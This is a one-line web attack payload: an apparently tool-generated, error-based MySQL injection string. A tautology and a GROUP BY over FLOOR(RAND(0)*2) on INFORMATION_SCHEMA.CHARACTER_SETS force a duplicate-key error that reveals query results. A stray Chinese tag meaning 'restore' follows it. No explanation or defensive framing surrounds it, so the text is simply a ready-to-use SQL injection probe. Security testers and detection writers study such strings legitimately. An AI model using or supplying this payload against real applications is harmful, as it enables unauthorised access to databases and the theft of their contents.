atestu AND (SELECT 4952 FROM(SELECT COUNT(*),CONCAT('BFW0unhz',(SELECT (CASE WHEN (4952=4952) THEN 1 ELSE 0 END)),'BFW0unhz',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND BFW0unhz=BFW0unhz

[还原]